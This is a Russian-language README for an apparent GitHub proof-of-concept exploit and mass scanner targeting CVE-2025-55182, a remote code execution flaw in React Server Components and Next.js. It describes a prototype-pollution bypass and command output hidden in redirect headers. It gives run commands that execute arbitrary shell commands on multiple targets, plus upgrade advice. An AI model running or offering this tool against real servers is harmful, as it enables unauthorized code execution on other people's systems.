⚛️ React2Shell Exploit (CVE-2025-55182)

Лёгкий автоматизированный Proof of Concept (PoC) и массовый сканер для критической RCE-уязвимости в React Server Components (React 19 / Next.js).

⚠️ Правовое предупреждение

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И ИССЛЕДОВАНИЙ В ОБЛАСТИ БЕЗОПАСНОСТИ.

Этот инструмент предназначен для помощи специалистам по безопасности и администраторам в проверке уязвимости их собственных систем. Автор не несёт ответственности за любое неправомерное использование, ущерб или противоправные действия, совершённые с помощью этого кода.

Не сканируйте цели без явного разрешения.
Этот инструмент выполняет код на целевом сервере. Используйте ответственно.

🔍 Что такое CVE-2025-55182?

CVE-2025-55182 — это уязвимость удалённого выполнения кода в react-server-dom-webpack, ключевом пакете, используемом Next.js (App Router) и React 19.

Уязвимость позволяет неаутентифицированному злоумышленнику внедрять вредоносные полезные нагрузки в React Server Actions. Манипулируя процессом десериализации, злоумышленник может получить доступ к конструктору JavaScript Function и выполнять произвольные системные команды на сервере.

Подробнее: https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components

Затронутые версии:

react-server-dom-webpack: 19.0.0 - 19.2.0
next: 13.4.x, 14.x (до 14.2.35), 15.x (до 15.5.9)

🚀 Новые возможности (v2.0)

Этот обновлённый скрипт использует продвинутые техники эксплуатации для повышения надёжности:

Универсальный обход: использует Prototype Pollution во внутренних данных формы, чтобы обойти необходимость в валидном Next-Action ID. Работает с любым уязвимым экземпляром Next.js без ручной разведки.
Скрытая переадресация: заставляет сервер выбрасывать фейковую «Redirect Error», скрытно передавая вывод команды в HTTP-заголовок Location. Это позволяет избежать ошибок 500 и получать чистый вывод.
Массовое сканирование: проверка нескольких доменов одной командой.

🚀 Установка и настройка

Клонируйте репозиторий:

git clone https://github.com/sangleshubham/React-Security-CVE-2025-55182-Exploit.git

Перейдите в каталог:
```
cd React-Security-CVE-2025-55182-Exploit
```
Проверьте версию Node.js: Убедитесь, что у вас установлен Node.js (рекомендуется v18 или выше).
```
node -v
```
(Примечание: скрипт использует стандартные библиотеки Node.js, поэтому npm install не требуется.)

⚡ Как запустить скрипт

Скрипт react2shell.js автоматически определяет, сканируете ли вы одну или несколько целей.

Вариант 1: Сканирование одной или нескольких целей

Команда, выполняемая по умолчанию, — id.

# Одна цель
node react2shell.js http://localhost:3000 ls

# Несколько целей
node react2shell.js http://localhost:3000 [http://staging.example.com] ls

Вариант 2: Произвольная команда

Чтобы выполнить конкретную команду, укажите её последним аргументом.

# Синтаксис: node script.js <URL> <КОМАНДА>
node react2shell.js http://localhost:3000 <command>

📊 Понимание вывода

⚠️ VULNERABLE: Инструмент успешно выполнил команду и скрытно передал вывод через заголовок переадресации.
```
[*] Starting Universal Scan...
[*] Payload Command: "id"

⚠️  VULNERABLE (http://localhost:3000)
    Output: uid=0(root) gid=0(root) groups=0(root)
```
🛡️ SAFE: Сервер отклонил полезную нагрузку или он пропатчен.
```
🛡️  SAFE (http://google.com) | Status: 405
```
❌ CONNECT ERROR: Скрипту не удалось подключиться к серверу.
```
❌ CONNECT ERROR (http://bad-url.com) | fetch failed
```

🛡️ Меры по устранению

Если ваше приложение уязвимо, немедленно обновите зависимости.

Для Next.js:

# Next.js 14
npm install [email protected] react@latest react-dom@latest

# Next.js 15
npm install [email protected] react@latest react-dom@latest

Для других фреймворков (Waku, Remix и т. д.): Убедитесь, что react-server-dom-webpack обновлён до v19.2.1 или выше.

📜 Лицензия

Распространяется под лицензией MIT. Подробнее см. в LICENSE.

React-Security-CVE-2025-55182-Exploit

Популярное